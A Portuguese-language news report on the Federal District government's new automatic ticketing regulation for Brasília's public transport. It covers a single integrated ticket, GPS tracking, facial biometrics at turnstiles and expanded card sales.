Bilhete Único do transporte público deverá funcionar em até seis meses

Rollemberg anunciou mudanças no transporte coletivo do DF. Foto: Pedro Ventura/Agência Brasília

 

O  transporte público do Distrito Federal passarão por mudanças que permitirão a adoção do Bilhete Único. “Teremos uma nova família de cartões que poderá ser usada nos ônibus, no metrô e nas bicicletas compartilhadas. Assim, o usuário poderá usar mais de uma modalidade com um único bilhete”, disse o secretário de Mobilidade, Fábio Damasceno, nesta quinta-feira, durante o anúncio das alterações. Com a implantação do novo sistema, em até 180 dias, o usuário poderá embarcar em até três transportes, sendo duas integrações, no prazo de duas horas, contadas a partir da primeira validação.

Essas alterações constam na regulamentação do Sistema de Bilhetagem Automática, assinada hoje pelo governador Rodrigo Rollemberg. Entre as medidas previstas é que as concessionárias do transporte coletivo selecionarão representantes para comercializar cartões e créditos.

O regulamento dispõe sobre o bilhete único; o rastreamento da frota por GPS; a criação de uma Central de Supervisão Operacional; e o controle de gratuidades e benefícios nas catracas por biometria facial.

Essa última entrará em fase piloto já em março. O critério para escolha da linha a ser testada é a que tiver um alto número de registro de gratuidades. Esse recurso será importante para coibir fraudes. Ainda no mês que vem, também começa o teste de GPS e do aplicativo que mostra, em tempo real, o trajeto e os horários dos ônibus em 24 veículos de duas linhas. “É um momento muito importante para Brasília. Vamos acompanhar de perto para que os prazos sejam cumpridos e a população sinta a melhoria no transporte”, disse Rollemberg.

Entre as melhorias está a descentralização dos pontos de venda. A expectativa da Secretaria de Mobilidade é que pelo menos mil sejam instalados em diferentes locais do DF. Os pontos não serão restritos aos terminais e, por meio de parcerias, poderão ser levados para farmácias e bancas de jornal, por exemplo.

Venda on-line e em caixas automáticos

Outra forma de diversificar a venda serão os chamados ATM (caixas automáticos em que o próprio passageiro faz a recarga) e a compra de créditos on-line. Para operacionalizar o sistema, a ideia é que as concessionárias escolham uma entidade representativa. O cadastro dos usuários — após o período de transição — também passará a ser feito pela instituição selecionada. As autorizações de benefícios e gratuidades continuam sob aval do Transporte Urbano do Distrito Federal (DFTrans).

“As pessoas vão usar mais o cartão, já que haverá mais facilidade para compra. Assim, o transporte vai sair mais barato, porque elas aproveitarão mais a integração. Isso aumenta a possibilidade de ampliá-la com mais linhas”, prevê o secretário Fábio Damasceno. Com a efetivação do bilhete único, outro benefício será a uniformização das catracas do metrô, para evitar que algumas só aceitem um tipo de cartão.

Mais uma melhoria no sistema será a inclusão das bicicletas compartilhadas na integração, que hoje inclui ônibus (contando o BRT), micro-ônibus e metrô.

O secretário destaca ainda que, sem ser sobrecarregado com as atividades de cadastro e de comércio dos cartões e dos créditos, o governo poderá se concentrar no seu papel de regulador e gestor do sistema.

Além do Sistema de Bilhetagem Automática, o decreto e o regulamento tratam do Sistema Inteligente de Transporte. Esse engloba a Central de Supervisão Operacional, que será instalada no DFTrans e fará o monitoramento em tempo real da operação dos serviços; a Central de Vigilância, que deverá coletar e analisar imagens do interior dos ônibus; e a Central de Relacionamento com o Cliente, para informações e registro de reclamações.

 

 

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